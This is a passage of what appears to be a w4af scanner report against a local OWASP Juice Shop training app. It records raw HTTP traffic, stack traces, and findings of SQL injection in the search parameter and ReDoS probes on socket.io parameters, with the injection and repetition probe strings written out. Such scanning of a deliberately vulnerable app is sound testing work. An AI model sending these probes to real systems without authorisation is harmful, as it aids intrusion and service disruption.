/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
DAV seems to be incorrectly configured. The web server answered with a 500 error code. In most cases, this means that the DAV extension failed in some way. This error was found at: "http://localhost:3000/rest/admin/hUKKf". This information was found in the request with id 16421.
GET http://localhost:3000/rest/admin/hUKKf HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:34 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/admin/hUKKf</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/admin/hUKKf</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
DAV seems to be incorrectly configured. The web server answered with a 500 error code. In most cases, this means that the DAV extension failed in some way. This error was found at: "http://localhost:3000/rest/products/EobsN". This information was found in the request with id 16520.
GET http://localhost:3000/rest/products/EobsN HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/products/EobsN</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/products/EobsN</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
SQL injection in a Unknown database was found at: "http://localhost:3000/rest/products/search", using HTTP method GET. The sent data was: "q=a%27b%22c%27d%22" The modified parameter was "q". This vulnerability was found in the request with id 16544.
Due to the requirement for dynamic content of today's web applications, many rely on a database backend to store data that will be called upon and processed by the web application (or other programs). Web applications retrieve data from the database by using Structured Query Language (SQL) queries.
To meet demands of many developers, database servers (such as MSSQL, MySQL, Oracle etc.) have additional built-in functionality that can allow extensive control of the database and interaction with the host operating system itself. An SQL injection occurs when a value originating from the client's request is used within a SQL query without prior sanitisation. This could allow cyber-criminals to execute arbitrary SQL code and steal data or use the additional functionality of the database server to take control of more server components.
The successful exploitation of a SQL injection can be devastating to an organisation and is one of the most commonly exploited web application vulnerabilities.
This injection was detected as the tool was able to cause the server to respond to the request with a database related error.
qThe only proven method to prevent against SQL injection attacks while still maintaining full application functionality is to use parameterized queries (also known as prepared statements). When utilising this method of querying the database, any value supplied by the client will be handled as a string value rather than part of the SQL query.
Additionally, when utilising parameterized queries, the database engine will automatically check to make sure the string being used matches that of the column. For example, the database engine will check that the user supplied input is an integer if the database column is configured to contain integers.
GET http://localhost:3000/rest/products/search?q=a%27b%22c%27d%22 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache If-none-match: W/"325f-bB6A2ReyRoArta49QDsMgbgK4U0" Accept-encoding: gzip, deflate Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:49:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: SQLITE_ERROR: near "b": syntax error</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: SQLITE_ERROR: near "b": syntax error</h2>\n <ul id="stacktrace"></ul>\n </div>\n </body>\n</html>\n'
ReDoS was found at: "http://localhost:3000/socket.io/", using HTTP method GET. The sent data was: "EIO=4&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC" The modified parameter was "t". This vulnerability was found in the requests with ids 18567, 18585, 18607 and 18621.
tGET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=aaaaaaaaaaX%21&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=aaaaaaaaaaX%21&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=aaaaaaaaaaX%21&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=aaaaaaaaaaX%21&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
ReDoS was found at: "http://localhost:3000/socket.io/", using HTTP method GET. The sent data was: "EIO=4&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC" The modified parameter was "sid". This vulnerability was found in the requests with ids 18539, 18579, 18611, 18628 and 18635.
sidGET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkIKY&sid=11111111119%21 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkIKY&sid=111111111111111111119%21 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkIKY&sid=111111111111111111119%21 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkIKY&sid=111111111111111111119%21 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkIKY&sid=111111111111111111119%21 HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
ReDoS was found at: "http://localhost:3000/socket.io/", using HTTP method GET. The sent data was: "EIO=4&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC" The modified parameter was "transport". This vulnerability was found in the requests with ids 18525, 18570, 18617, 18622 and 18646.
transportGET http://localhost:3000/socket.io/?EIO=4&transport=a%40a.aaaaaaaaaaX%21&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":0,"message":"Transport unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=a%40a.aaaaaaaaaaaaaaaaaaaaX%21&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":0,"message":"Transport unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=a%40a.aaaaaaaaaaaaaaaaaaaaX%21&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":0,"message":"Transport unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=a%40a.aaaaaaaaaaaaaaaaaaaaX%21&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":0,"message":"Transport unknown"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=a%40a.aaaaaaaaaaaaaaaaaaaaX%21&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":0,"message":"Transport unknown"}'
ReDoS was found at: "http://localhost:3000/socket.io/", using HTTP method GET. The sent data was: "EIO=4&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC" The modified parameter was "EIO". This vulnerability was found in the requests with ids 18527, 18532, 18537, 18578, 18614, 18630 and 18649.
EIOGET http://localhost:3000/socket.io/?EIO=aaaaaaaaaaX%21&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=aaaaaaaaaaaaaaaaaaaaX%21&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX%21&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX%21&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX%21&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX%21&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
GET http://localhost:3000/socket.io/?EIO=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX%21&transport=polling&t=OuGkIKY&sid=JV6W8RKK59u8FHYVAAAC HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Accept: */*
b'HTTP/1.1 400 Bad Request\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: application/json\r\nDate: Tue, 05 Mar 2024 23:49:46 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"code":1,"message":"Session ID unknown"}'
Blind SQL injection was found at: "b'http://localhost:3000/rest/products/search'", using HTTP method b'GET'. The injectable parameter is: "b'q'". This vulnerability was found in the requests with ids 20158 and 20295.
